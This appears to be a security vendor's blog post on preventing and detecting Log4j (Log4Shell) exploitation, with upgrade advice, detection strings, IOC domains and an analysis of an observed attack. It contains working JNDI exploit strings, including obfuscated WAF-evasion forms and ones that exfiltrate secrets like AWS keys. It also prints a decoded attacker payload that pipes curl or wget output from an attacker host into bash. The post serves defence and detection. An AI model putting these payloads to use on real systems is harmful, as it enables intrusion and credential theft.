All Posts

Panther’s guide to Log4j exploitation prevention and detection

Avatar
Stock photo of wood

Written by Kyle Bailey, Patrick Hagan, & Ben Sebastian

Note for the reader: This blog post details the latest learnings for Log4j exploitation and detection, including:

  • Disavowment of previously mentioned mitigations such as formatMsgNoLookups & LOG4J_FORMAT_MSG_NO_LOOKUPS
  • How the latest Log4j upgrades 2.16.0 & Log4j 2.12.2 solve both the original vulnerability (CVE-2021-44228) and the latest identified vulnerability (CVE-2021-45046), both of which can result in remote code execution
  • How you can detect the latest exploitation variations using existing tools you have, or by leveraging Panther.

What is Log4j?

Log4j is a widely used open-source logging library for Java applications. Log4j provides additional logging capabilities, like log levels (fatal, error, warn, etc), mechanisms to write to different log files, log rolling patterns, and more. If you’ve ever worked within a Java application, you’ve probably seen Log4j in use:

import org.apache.logging.log4j.Logger;
…
LOGGER.info(String.format("An error occurred while uploading the file [%s]", theFile));
…

What is the vulnerability?

Log4j, by default, supported a logging capability called Lookups.

This feature interpolates specific strings at the time of logging a message.

For example, logging “HelloWorld: ${java:version}” via Log4j would result in the following being logged: “HelloWorld: Java version 1.7.0_67” 

One of the supported lookups was jndi, which supported LDAP as a protocol. The LDAP server specified could be local or remote

As a result, if a string like this was ever logged: “${jndi:ldap://example.com/HelloWorld.class}”, Log4j would make a remote request to example.com, obtain HelloWorld.class, and execute it, resulting in remote code execution (RCE).

Log4j versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 are vulnerable.

The fix provided for the original CVE in 2.15.0 is bypassable through the following URI technique: ${jndi:ldap://127.0.0.1#example.com:/callback} for non-default configurations

Details on the non-default configuration from the Log4j team: “When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.”

How many products or companies are impacted?

Note: Panther is not and never was vulnerable to this exploit. We do not use Log4j in our product or in the environment used to provide our product services.

Most web applications, regardless of the language they are written in, log everything from parameters, to HTTP headers (ex: User Agent), to form fields, and otherwise, to aid in debugging and metrics. It’s possible that many, if not most, publicly accessible Java services are vulnerable, if they leverage vulnerable versions of Log4j.

Even if publicly accessible services don’t leverage Log4j, if they log to a downstream logging system that uses Log4j, exploitation will still occur.

This graphic by Rob Fuller (@mubix) illustrates it well:

This illustration explains why hackers are sometimes finding that exploitation will take minutes to hours, as opposed to happening at the time of sending the HTTP request.

CISA (the Cybersecurity and Infrastructure Security Agency) has documented some of the applications that are confirmed as vulnerable: https://github.com/cisagov/log4j-affected-db#software-list

As of 9 a.m. ET on Monday, December 13, 2021, Checkpoint’s researchers had seen exploits attempted on more than 40 percent of corporate networks globally.

The map below illustrates the top targeted geographies (Source: Checkpoint).

How are hackers testing if remote applications are vulnerable?

While the Log4j vulnerability allows for full remote code execution, which attackers can leverage to run bitcoin miners, Cobalt Strike implants, and more, most whitehat hackers are validating exploitability by simply providing an LDAP server with a unique FQDN or URL with logging enabled. By using a unique FQDN or URL for each “target” company or service, the hacker knows which exploitation attempts worked against which company or service.

There are many websites that provide such services, including https://webhook.site, http://dnslog.cn, http://ceye.io, https://app.interactsh.com, and commercial products like Canary

Screenshots can be found on Twitter and Github purportedly demonstrating that Apple iCloud, Amazon, Cloudflare, and others were vulnerable at one point.

While hackers can manually test fields on a website, many have been automating their efforts by crawling websites and providing the malicious string in multiple HTTP Request headers (ex: User-Agent), URL parameters, and form fields.

For example, with many HTTP Request Headers set to the malicious string:

Referer=${jndi:ldap://example.com/…}
X-Forwarded-For=${jndi:ldap://example.com/…}
User-Agent=${jndi:ldap://example.com/…}

How are security teams determining if their applications, servers, or endpoints are vulnerable?

Security teams are analyzing code packages and code dependencies to find uses of vulnerable Log4j versions. Real world examples:

  • Github’s Dependabot will identify the vulnerable library, if you’re leveraging Maven. Details here.
  • Snyk can detect the vulnerability, while developers are developing (via an IDE plugin), during CI, or post deployment. Snyk will also generate a Pull Request with a fix, if that setting is configured. More details here.

Security teams are also leveraging vulnerability scanners to find exploitable services within their environment.

Additionally, security teams are leveraging endpoint security agents to search for the vulnerable library. Products that support this include Rapid7’s InsightVM (link), Crowdstrike, and others. If you’re a Crowdstrike customer, you can find their purpose-built dashboard for this vulnerability and potential activity at: {domain}/discover/discover/en-US/app/eam2/vuln_log4shell

Security teams are also leveraging open source tools, such as Lunasec’s CLI, which can scan a filesystem (Windows, macOS, Linux) for known vulnerable Log4j dependencies. Stripe has released a similar tool as well.

How can I prevent exploitation?

If you’re responsible for a product that leverages Log4j, you have the following upgrade options

  • If you’re using Java 8 or later, upgrade to Log4j 2.16.0, which has the JNDI lookup functionality disabled by default
  • If you’re using Java 7 and unable or unwilling to upgrade to Java 8, upgrade to Log4j 2.12.2

If upgrading the Log4j library is not within your control, but you have access to the servers running the application, you have other options:

  • Remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This assumes you’re confident your application does not leverage JNDI Lookups.
  • Hot patch running JVM processes using AWS’ Log4jHotPatch: https://github.com/corretto/hotpatch-for-apache-log4j2. This carries some potential risk.

If you don’t have access to the servers, but your company owns them and you have permission from needed stakeholders, you have one other option:

  • Leverage Lunasec’s in-memory hot patch. They did the additional hard work to host this on a server you can leverage too. E.g. you can exploit your server with “${jndi:ldap://patch.log4shell.com:1389/a}” to hot patch it. Stripe has a similar tool as well.

Lastly, you can also leverage a WAF, such as AWS’, Cloudflare’s or Fastly’s, to drop known exploitation patterns. To leverage AWS’ WAF protection against Log4j exploitation attempts for CloudFront, ALB, API Gateway, and Appsync, enable the AWSManagedRulesKnownBadInputsRuleSet rule, and choose the default version if you want to receive automated updates. It’s worth noting that a WAF is a defense in depth measure, and WAF bypass techniques will continue to appear, for both this vulnerability, and future ones.

Other mitigations have been suggested in the past week, but have proven to be insufficient after further research by the Log4j team, including setting log4j2.formatMsgNoLookups or LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

Per the Log4j team,

“The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf(“%s”, userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.” 

The 2.15.0 release intended to fix the original CVE CVE-2021-44228, but did not completely address the issue.

Per the Log4j team,

“The 2.15.0 release was found to still be vulnerable when the configuration has a pattern layout containing a Context Lookup (for example, $${ctx:loginId}), or a Thread Context Map pattern %X, %mdc or %MDC. When an attacker can control Thread Context values, they may inject a JNDI Lookup pattern, which will be evaluated and result in a JNDI connection. Log4j 2.15.0 restricts JNDI connections to localhost by default, but this may still result in DOS (Denial of Service) attacks, or worse.”

Later, Márcio Almeida (@marcioalm), with research from @pwntester and @_atorralba, confirmed the 2.15.0 release fix was also vulnerable to remote code execution, not just DoS, via the following bypass technique: ${jndi:ldap://127.0.0.1#example.com/callback}


The safest thing to do is to upgrade Log4j to 2.12.2+, or 2.16.0+, depending on your Java version.

How can I detect exploitation attempts (vendor agnostic)?

This post has largely discussed using the JDNI Lookup and the LDAP protocol. However, other protocols can be leveraged, depending upon Log4j’s configuration, including DNS, RMI, IIOP, and others.

Example exploitation strings:

  • ${jndi:dns://example.com/…}
  • ${jndi:rmi://example.com/…}
  • ${jndi:iiops://example.com/…}

Additionally, to avoid detection by WAF’s and otherwise, attackers are leveraging other Lookups, to obfuscate their work.

Examples:

  • Lower: ${jn${lower:d}i:l${lower:d}ap://example.${lower:c}om/example
  • Upper: ${jnd${upper:i}:ldap://example.com:1234/callback/}}

It appears (needs additional confirmation), that the casing is not sensitive as well, e.g. hackers can use something like ${jnd${uPpEr…

Additionally, attackers are commonly exfiltrating environment variables, and Java system property details, by leveraging exploitation strings like the following:

  • ${jndi:ldap://example.com/${env:USER}
  • ${jndi:ldap://example.com/${env:AWS_SECRET_ACCESS_KEY}
  • ${jndi:ldap://example.com/${sys:java.version}
  • ${jndi:ldap://example.com/${java:os}
  • ${jndi:ldap://example.com/${date:dd:MM:yyyy}

Lastly, recall that hackers are leveraging services like https://webhook.site, http://dnslog.cn, http://ceye.io, https://app.interactsh.com, and others to determine if you’re vulnerable in a “safe way,” e.g without dropping a remote shell or implant. 

With the knowledge of commonly used exploitation strings and services, we can write detections against these identifiers. We will break down these identifiers in the following sections.

The exploit string

Look for the following strings in your Webserver, ALB, Cloudtrail, VPC, WAF, and Firewall logs:

  • “jndi:ldap:/
  • “jndi:rmi:/
  • “jndi:ldaps:/
  • “jndi:dns:/
  • “jndi:nis:/
  • “jndi:nds:/
  • “jndi:corba:/
  • “jndi:iiop:/
  • “jndi:${
  • “${jndi:
  • ${lower:
  • ${upper:
  • ${env:
  • ${sys:
  • ${java:
  • “${date:
  • ${::-j”

IOCs (IP addresses).

Look for “known bad” IP addresses found in exploitation attempts

Examples

You can leverage these in various platforms, such as Splunk via lookup tables, and through platforms that support custom intel feeds. It’s important to emphasize that IP addresses are prone to false positives, as IP addresses are regularly released and re-assigned, and there can be cases where an IP was compromised, but is later cleaned up.

IOCs (Domains)

Look for DNS queries to domains known to be used for DNS/HTTP logging. These sites can be used for legitimate purposes, so keep this in mind. You can consider sinkholing these domains in your corporate and production environments as well.

  • *.dnslog[.]cn
  • *.ceye[.]io
  • webhook[.]site/*
  • interact[.]sh
  • interactsh[.]com
  • burpcollaborator[.]net
  • *.binaryedge[.]io
  • *.canarytokens[.]com
  • kryptoslogic-cve-2021-44228[.]com
  • requestbin[.]net
  • leakix[.]net

How can I detect exploitation attempts with Panther?

Panther’s Detection Team has released multiple Log4j exploitation detection rules for our product. Because Panther allows us, and our customers, to write detections-as-code in Python, we were able to write flexible rules that account for a wide variety of obfuscation techniques, without being limited to a regex or a limiting domain specific language (DSL). Details:

  • log4j_ip_iocs: This rule detects any traffic to or from IP addresses that have been seen attempting Log4j exploitation. This rule can run against any log source that contains an IP address. By default, it is configured to run against AWS, GCP, Cloudflare, Apache, Nginx and Juniper log sources.
  • log4j_exploit_iocs: This rule detects the presence of known exploit substrings, and searches all fields of an event for these strings over a wide range of log types. This rule is casting a very “wide net” for IOCs as the exploit can be triggered from nearly any user input field or HTTP header.

The above detection rules have been released in the latest Panther Analysis release and can be quickly uploaded into Panther using the Bulk Uploader option in the UI. The panther-log4j-iocs.zip can be found here.

The detection rules above will provide real-time alerting on new activity for the log4j IoCs. Panther customers can also conduct their own threat hunting or investigations leveraging our Data Explorer to perform queries on their historical data in SQL. Example:

SELECT userAgent
FROM panther_logs.public.AWS_ALB 
WHERE userAgent LIKE ANY ('%jndi%', '%:${lower:%', '%${env:%')
ORDER BY p_event_time desc
LIMIT 100

Digging deeper into an AWS ALB & VPC example

Panther has observed many Log4j exploitation attempts.

Here is an example AWS ALB log, which has been minimized and anonymized:

{
  "timestamp": "2021-12-10 18:00:00.000",
  "clientIp": "45.x.x.x",
  "clientPort": 57400,
  "targetIp": "10.0.0.1",
  "targetPort": 80,
  "targetStatusCode": 200,
  "requestHttpMethod": "GET",
  "requestUrl": "https://54.x.x.x:443/",
  "userAgent": "${jndi:ldap://45.x.x.x:12340/Basic/Command/Base64/<base64_string>}",
  "p_any_ip_addresses": [
	"10.0.0.1",
	"45.x.x.x"
  ]
}

Here is the corresponding VPC Flow Log, also minimized and anonymized:

{
  "account": "123456789012",
  "interfaceId": "eni-00000000000000000",
  "srcAddr": "10.0.0.2",
  "dstAddr": "45.x.x.x",
  "srcPort": 80,
  "dstPort": 53417,
  "packets": 3,
  "bytes": 180,
  "start": "2021-12-11 06:21:17",
  "end": "2021-12-11 06:21:19",
  "action": "ACCEPT",
  "status": "OK",
  "vpcId": "vpc-00000000000000000",
  "subNetId": "subnet-00000000000000000",
  "pktSrcAddr": "10.0.0.2",
  "pktDstAddr": "45.x.x.x",
  "flowDirection": "egress",
  "p_any_ip_addresses": [
	"10.0.0.2",
	"45.x.x.x"
  ]
}

The payload contained in the base64-encoded user agent string expands to:

(curl -s 45.x.x.x:5870/54.x.x.x:443||wget -q -O- 45.x.x.x:5870/54.x.x.x:443)|bash

In this case, the attacker was trying to retrieve and execute a malicious payload from 45.x.x.x, using either curl or wget, and piping into bash.

Panther has observed many attack strings that use the pattern Basic/Command/Base64/, followed by different base64 strings. This suggests that an automated tool designed to exploit this vulnerability was used.

When looking at the VPC flow logs, we see some peculiar things. The aforementioned flow log covers an aggregation period of two seconds, during which 3 packets totalling 180 bytes were sent from the internal interface to the malicious IP address. Assuming the VPC flow log corresponds to an event similar to the one shown in the ALB log, this data flow represents a response to the attacker’s plain text HTTP GET request on tcp/80 to an external IP address belonging to Panther. Normally, an HTTP GET request to the Panther server results in an HTTP 301 redirect to HTTPS. A total of 568 bytes flowed from the server to the requestor, consisting of a TCP ACK packet and the plain text redirect message. This response occurs within a few hundredths of a second. Since only 180 bytes flowed outbound in the two second aggregation window for the log, this suggests a normal exchange did not take place.

The reason for this is probably because the attacker had little need to send or receive any more data with the target system after the malicious payload was delivered via the userAgent string. The attacker’s interface probably sent a TCP RST packet after delivering the initial GET request. The 180 bytes probably represents the server’s interface sending the initial ACK, followed by several of its own RST packets after receiving one from the attacker.

Conclusion

With any new threat, it is critical for security teams to take action quickly to understand their exposure, assess mitigation options, and monitor for signs of exploitation. It has been amazing to see security teams, vendors, and individuals,  across the globe contributing research, indicators of compromise, detection ideas, patches, and analysis to the broader community.

The security team at Panther will continue to monitor the log4j situation and provide updates to this post and to the detections available to our customers as new information and insights warrant.